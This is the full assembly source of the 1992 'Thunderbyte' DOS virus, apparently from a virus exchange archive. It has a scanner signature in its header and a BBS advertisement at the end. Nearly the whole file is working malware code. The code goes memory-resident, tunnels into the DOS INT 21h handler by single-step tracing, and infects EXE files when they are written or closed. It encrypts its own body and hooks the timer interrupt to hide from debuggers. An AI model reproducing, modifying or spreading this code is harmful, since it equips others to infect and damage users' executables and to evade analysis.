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Assembly Source File | 1992-10-13 | 10KB | 613 lines

;*****************************************************************************; ; ; ; Tunderbyte Virus ; ; ; ; TBSCAN.DAT : DB3F00807609??4D75F9 ; ; ; ;*****************************************************************************; virus segment public 'code' assume cs:virus, ds:virus, es:virus org 0 VirusStart equ $ VirusSize1 equ (VirusEnd1-$) VirusSize2 equ (VirusEnd2-$) Decrypt1: db 0bdh,StartEncrypt-Decrypt2,0 db 80h,76h,Decrypt2-VirusStart-1,0 db 4dh,75h,-7 Decrypt2: cli mov sp,offset DoAgain-2 ret -8 db 0,0,0,0,'***** THUNDERBYTE *****',0,0,0,0 Init: mov cx,(VirusEnd1-StartEncrypt+1)/2 mov dl,byte ptr cs:Decrypt1[6] mov dh,dl mov si,offset StartEncrypt NotReady: ret 2 DecryptWord: mov ax,ss:[si] xor cs:[si],dx NextWord: add dx,ax inc si ret -4 dw DecryptWord dw DoAgain dw NextWord dw Init DoAgain: loop NotReady StartEncrypt equ $ Main: mov sp,1000h sti push ds push es mov ax,03031h mov bx,0DEADh int 21h cmp ax,0DEADh jne Install jmp Exit Install: push es mov ah,52h int 21h mov ax,es:[bx-2] mov cs:FirstMCB,ax pop es CheckBlock: mov ds,ax inc ax cmp word ptr ds:[1],ax jne NextBlock cmp word ptr ds:[3],((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h) jne NextBlock push ax push es mov cx,VirusSize2 xor di,di mov es,ax mov al,es:[di] cld repe scasb pop es pop ax je CopyVirus NextBlock: add ax,ds:[3] cmp byte ptr ds:[0],'Z' jne CheckBlock mov ah,4ah mov bx,-1 int 21h mov ah,4ah sub bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)+1 int 21h mov ah,48h mov bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h) int 21h CopyVirus: push cs pop ds dec ax mov es,ax inc ax mov es:[1],ax mov cx,8 mov si,offset CommandStr mov di,cx cld rep movsb mov es,ax EncryptZero: inc byte ptr ds:Decrypt1[6] jz EncryptZero mov cx,VirusSize2 xor si,si xor di,di cld rep movsb push es call ReturnFar xor ax,ax mov ds,ax cli mov ax,offset DebugWatch xchg ax,ds:[20h] mov cs:OldInt8o,ax mov ax,cs xchg ax,ds:[22h] mov cs:OldInt8s,ax sti push ds:[4] push ds:[6] mov word ptr ds:[4],offset Trace1 mov word ptr ds:[6],cs pushf push cs mov ax,offset Return4 push ax cli pushf pop ax or ax,100h push ax push ds:[86h] push ds:[84h] mov ah,52h Trace1: push bp mov bp,sp push ax push ds push cs pop ds mov ax,FirstMCB cmp [bp+4],ax jae Return1 mov ax,[bp-2] mov RegAX,ax mov RegSP,bp mov ax,[bp+2] mov OldInt21o,ax mov ax,[bp+4] mov OldInt21s,ax xor ax,ax mov ds,ax mov word ptr ds:[4],offset Trace2 mov word ptr ds:[6],cs jmp short Trace3 Return1: jmp short Return3 Trace2: push bp mov bp,sp push ax push ds cmp ax,cs:RegAX jne Return3 cmp bp,cs:RegSP jne Return3 Trace3: push bx push dx lds bx,[bp+2] mov al,[bx] mov dx,[bx+1] inc dx cmp al,0e9h je JumpOpcode cmp al,0e8h je CallOpcode xchg ax,dx dec ax cbw xchg ax,dx cmp al,0ebh je JumpOpcode cmp al,70h jb Return2 cmp al,7fh ja Return2 JumpOpcode: push ax push ds xor ax,ax mov ds,ax mov word ptr ds:[0c8h],offset HackJump mov word ptr ds:[0cah],cs jmp short Continue CallOpcode: push ax push ds xor ax,ax mov ds,ax mov word ptr ds:[0c8h],offset HackCall mov word ptr ds:[0cah],cs Continue: pop ds pop ax mov cs:Displacement,dx mov cs:Opcode,al mov ax,32cdh xchg ax,[bx] mov cs:SavedCode,ax mov cs:HackOffset,bx mov cs:HackSegment,ds and word ptr [bp+6],0feffh Return2: pop dx pop bx Return3: pop ds pop ax pop bp iret Return4: pop ds:[6] pop ds:[4] mov cs:Handle,0 Exit: pop es pop ds mov ax,ds add ax,10h add cs:OldCS,ax add ax,cs:OldSP mov dx,cs:OldSP cli mov ss,ax mov sp,dx sti jmp cs:OldEntry ReturnFar: retf OldEntry equ this dword OldIP dw 0 OldCS dw -10h OldSP dw 1000h OldSS dw 0 HackAddress equ this dword HackOffset dw ? HackSegment dw ? SavedCode dw ? HackJump: call Interrupt21 push bp ; simulate a conditional or push ax ; unconditional jump mov bp,sp mov ax,[bp+8] and ax,0fcffh push ax db 0b8h ; mov ax,???? Displacement dw 0 popf Opcode db 0ebh,3,0 ; j?? +3 xor ax,ax nop add [bp+4],ax pop ax pop bp iret HackCall: call Interrupt21 sub sp,2 ; simulate a call push bp mov bp,sp push ax mov ax,[bp+4] inc ax xchg ax,[bp+8] xchg ax,[bp+6] xchg ax,[bp+4] add ax,cs:Displacement mov [bp+2],ax pop ax pop bp iret Seek: mov ah,42h xor cx,cx xor dx,dx Dos: pushf db 9ah OldInt21o dw ? OldInt21s dw ? ret DosVersion: cmp ax,3031h jne NotTByte cmp bx,0DEADh jne NotTByte mov ax,0DEADh add sp,8 iret Interrupt21: cmp ah,30h je DosVersion push si push ds push cs:SavedCode lds si,cs:HackAddress pop ds:[si] pop ds pop si push ax push bx push cx push dx push si push di push bp push ds push es cmp ah,3eh je CloseFile cmp ah,40h je WriteFile Old21: pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax push si push ds lds si,cs:HackAddress mov word ptr ds:[si],32cdh pop ds pop si NotTByte: ret WriteFile: mov ax,4400h call Dos cmp dl,7fh ja Error1 mov al,1 call Seek jc Error1 or dx,dx jnz Error1 cmp ax,17h ja Error1 push cs pop es mov si,dx mov di,offset Signature add di,ax cmp word ptr [si],"ZM" jne Error1 cmp word ptr [si+12h],0DEADh je Error1 cmp cx,18h jb CheckHandle or ax,ax jz Ok CheckHandle: cmp bx,cs:Handle jne Error1 Ok: add cx,ax cmp cx,18h jbe CountOk mov cx,18h CountOk: sub cx,ax jbe Error1 cld rep movsb mov cs:Handle,bx Error1: jmp Old21 CloseFile: push cs pop ds push cs pop es mov ax,4400h call Dos test dl,80h jne Error1 or bx,bx je Read cmp cs:Handle,bx je DoNotRead Read: xor al,al call Seek jc Error1 mov ah,3fh mov cx,18h mov dx,offset Signature call Dos jc Error1 DoNotRead: mov cs:Handle,0 cmp Signature,"ZM" jne Error1 cmp ChkSum,0DEADh je Error1 mov ax,ExeIP mov OldIP,ax mov ax,ExeCS mov OldCS,ax mov ax,ExeSS mov OldSS,ax mov ax,ExeSP mov OldSP,ax mov al,2 call Seek jc Error1 push ax push dx mov cx,200h div cx cmp PartPage,dx jne SizeError add dx,-1 adc ax,0 cmp PageCount,ax SizeError: pop dx pop ax jne Error2 add ax,0fh adc dx,0 and ax,0fff0h mov cx,dx mov dx,ax mov ax,4200h call Dos jnc SeekOk Error2: jmp Old21 SeekOk: mov cx,10h div cx sub ax,HdrSize mov ExeCS,ax mov ExeIP,offset Decrypt1 mov ExeSS,ax mov ExeSP,VirusSize1+400h cmp MinMem,40h jae MemoryOk mov MinMem,40h cmp MaxMem,40h jae MemoryOk mov MaxMem,40h MemoryOk: push ds push es mov ax,cs mov ds,ax add ax,(VirusSize2+0fh)/10h mov es,ax mov cx,VirusSize1 xor si,si xor di,di cld rep movsb mov ds,ax mov cx,offset StartEncrypt-Decrypt2 mov dl,byte ptr ds:Decrypt1[6] mov si,offset StartEncrypt-1 Again1: xor ds:[si],dl dec si loop Again1 mov cx,(VirusEnd1-StartEncrypt+1)/2 mov dh,dl mov si,offset StartEncrypt Again2: xor ds:[si],dx mov ax,ds:[si] add dx,ax inc si add dx,ax inc si loop Again2 mov ah,40h mov cx,VirusSize1 xor dx,dx call Dos pop ds pop es jc Error3 mov al,2 call Seek jc Error3 mov cx,200h div cx mov PartPage,dx add dx,-1 adc ax,0 mov PageCount,ax mov ChkSum,0DEADh xor al,al call Seek jc Error3 mov ah,40h mov cx,18h mov dx,offset Signature call Dos Error3: jmp Old21 Count dw 8 DebugStr db 'DEBUG' CommandStr db 'COMMAND ' DebugWatch: push ax push cx push dx push si push di push ds push es dec cs:Count jnz EndWatch mov cs:Count,8 mov ax,0b000h mov ds,ax mov cx,2 push cs pop es cld NextScreen: push cx mov cx,2000 xor si,si mov di,offset DebugStr NextChar1: mov dx,5 NextChar2: lodsb inc si and al,0dfh scasb jne CharOk dec dx jnz NextChar2 Alarm: pop cx lds si,cs:HackAddress cmp byte ptr ds:[si],0cdh jne EndWatch mov ax,cs:SavedCode mov ds:[si],ax xor cx,cx mov ds,cx mov ax,cs:OldInt8o mov ds:[20h],ax mov ax,cs:OldInt8s mov ds:[22h],ax mov es,cx push cs pop ds mov cx,14 mov si,offset EndWatch-2 mov di,4f0h push es push di rep movsb xor di,di mov cx,VirusSize2 push cs pop es retf CharOk: neg dx add dx,5 sbb di,dx sub si,dx sub si,dx loop NextChar1 ScreenOk: mov ax,ds add ax,800h mov ds,ax pop cx loop NextScreen jmp short EndWatch rep stosb EndWatch: pop es pop ds pop di pop si pop dx pop cx pop ax db 0eah OldInt8o dw ? OldInt8s dw ? db '***** (C) COPYRIGHT 1992 BY THE WRITER *****' VirusEnd1 equ $ FirstMCB dw ? RegAX dw ? RegSP dw ? Handle dw ? Signature dw ? PartPage dw ? PageCount dw ? ReloCnt dw ? HdrSize dw ? MinMem dw ? MaxMem dw ? ExeSS dw ? ExeSP dw ? ChkSum dw ? ExeIP dw ? ExeCS dw ? VirusEnd2 equ $ virus ends end Main ;─────────────────────────────────────────────────────────────────────────; ;──────────────────> and Remember Don't Forget to Call <──────────────────; ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────; ;─────────────────────────────────────────────────────────────────────────;